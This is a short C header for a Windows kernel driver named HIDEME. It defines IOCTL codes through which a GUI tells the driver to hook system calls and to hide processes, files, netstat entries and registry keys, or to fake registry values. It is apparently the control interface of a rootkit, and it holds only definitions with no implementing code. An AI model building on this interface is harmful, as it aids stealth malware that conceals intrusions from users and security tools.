// Define the various device type values.  Note that values used by Microsoft
// Corporation are in the range 0-32767, and 32768-65535 are reserved for use
// by customers.
//
#define FILE_DEVICE_HIDEME      0x00002561

// Commands that the GUI can send the device driver
#define HIDEME_Version		(ULONG) CTL_CODE( FILE_DEVICE_HIDEME, 0x01, METHOD_BUFFERED, FILE_ANY_ACCESS )
#define HIDEME_Hook			(ULONG) CTL_CODE( FILE_DEVICE_HIDEME, 0x02, METHOD_BUFFERED, FILE_ANY_ACCESS )
#define HIDEME_UnHook		(ULONG) CTL_CODE( FILE_DEVICE_HIDEME, 0x03, METHOD_BUFFERED, FILE_ANY_ACCESS )
#define HIDEME_HideProcess  (ULONG) CTL_CODE( FILE_DEVICE_HIDEME, 0x04, METHOD_BUFFERED, FILE_ANY_ACCESS )
#define HIDEME_HideFile		(ULONG) CTL_CODE( FILE_DEVICE_HIDEME, 0x05, METHOD_BUFFERED, FILE_ANY_ACCESS )
#define HIDEME_HideNetstat	(ULONG) CTL_CODE( FILE_DEVICE_HIDEME, 0x06, METHOD_BUFFERED, FILE_ANY_ACCESS )
#define HIDEME_HideReg		(ULONG) CTL_CODE( FILE_DEVICE_HIDEME, 0x07, METHOD_BUFFERED, FILE_ANY_ACCESS )
#define HIDEME_ReplaceReg	(ULONG) CTL_CODE( FILE_DEVICE_HIDEME, 0x08, METHOD_BUFFERED, FILE_ANY_ACCESS )
#define HIDEME_FakeReg		(ULONG) CTL_CODE( FILE_DEVICE_HIDEME, 0x09, METHOD_BUFFERED, FILE_ANY_ACCESS )

// Extract transfer type
#define IOCTL_TRANSFER_TYPE( _iocontrol)   (_iocontrol & 0x3)
